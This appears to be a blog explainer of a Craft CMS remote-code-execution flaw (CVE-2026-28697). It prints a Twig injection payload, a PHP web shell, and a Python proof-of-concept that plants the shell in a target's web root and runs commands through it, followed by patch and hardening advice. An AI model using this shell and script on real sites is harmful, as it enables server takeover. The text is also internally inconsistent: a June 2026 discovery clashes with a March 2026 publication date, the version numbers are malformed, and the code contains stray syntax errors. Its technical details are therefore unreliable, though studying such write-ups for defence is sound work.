Craft CMS is a popular, flexible content management system used by designers and developers to build websites. In June 2026, a significant security flaw was discovered—tracked as CVE-2026-28697—allowing authenticated admin users to achieve Remote Code Execution (RCE) on affected sites using a clever chain of attacks. Let’s break down how this worked, how it was exploited, and how you can protect your sites.
What’s the Issue?
Before versions 4.17.-beta.1 and 5.9.-beta.1, if you were logged in as an admin, you could abuse the way Craft CMS handled Twig templates (for example, Email Templates). If you injected a Server-Side Template Injection (SSTI) payload, and then used Craft’s built-in filesystem write feature, you could plant a malicious PHP file where the webserver could run it. Access that script by browser—and boom, full system access.
Let's clarify: this attack requires an admin login. So, it's not an unauthenticated attack, but many teams give broad admin access, and often compromise elsewhere leads to privilege escalation.
Craft CMS < 5.9.-beta.1
If you’re running anything older, your site is at risk.
Step 1: Twig Template Injection
The attacker provides a malicious Twig template as input—typically in a section of the Craft CMS backend that allows editing of emails, forms, or other rendered content.
Suppose the attacker controls an email template. They insert something like
{{ system('id') }}
If this were evaluated by Twig unsafely, the underlying system function (id) would execute on the server. However, in production configurations, direct syscalls via Twig may be restricted or disabled—but this is just the foothold.
Step 2: Abuse craft.app.fs.write() API
This Craft CMS method writes files to the server. If the attacker can call it (and as admin, they can), they can write *any* content to a file in a web-accessible directory.
Here’s what the attacker's file might look like
<?php echo shell_exec($_GET['cmd']); ?>
This “web shell” PHP script runs any OS command given via the cmd URL parameter.
Here’s a basic proof-of-concept (assuming you’ve already gained admin session)
import requests
# Update these with your values
url = 'https://target.example.com/admin/action/write-file';
session_cookie = {'CRAFT_CSRF_TOKEN': 'VALID_TOKEN', 'CraftSessionId': 'VALID_SESSION'}
# The malicious PHP code to write
webshell_code = '<?php echo shell_exec($_GET["cmd"]); ?>'
# Where to write the file (web root)
destination = '/app/web/assets/exploit.php'
# Craft API might need extra payload structure, this is an illustration
data = {
'path': destination,
'contents': webshell_code
}
resp = requests.post(url, cookies=session_cookie, data=data)
# Now, open the webshell in your browser
print("Web shell planted at: https://target.example.com/assets/exploit.php?cmd=whoami";)
Note: In a real attack, the endpoint, CSRF tokens, and authentication flow need to be handled as per the actual setup. The above is illustrative.
Once the file is written, the attacker opens
https://target.example.com/assets/exploit.php?cmd=uname -a
And the server runs the command, sending the results back in the browser. The entire system is now compromised.
Twig template fields were not properly sanitized or restricted.
- The craft.app.fs.write() method could write to web-exposed directories without sufficient validation.
- As a result, combining these features with admin access let an attacker bridge from template injection to writing executable PHP.
YES. The fix landed in
- 4.17.-beta.1
- 5.9.-beta.1
These releases add stricter validation and restrictions to both Twig rendering and the file writing APIs.
References
- CVE-2026-28697 NVD Record
- Craft CMS 4.17.-beta.1 Release Notes
- Craft CMS 5.9.-beta.1 Release Notes
- Official Craft CMS Security Advisories
Conclusion
CVE-2026-28697 is a textbook example of what can happen when template rendering is combined with insecure file writes—even in software designed for “trusted” admins. If you use Craft CMS, update right away, limit admin privileges, and audit your templates for any leftover malicious code.
Timeline
Published on: 03/04/2026 16:26:37 UTC
Last modified on: 03/05/2026 10:37:46 UTC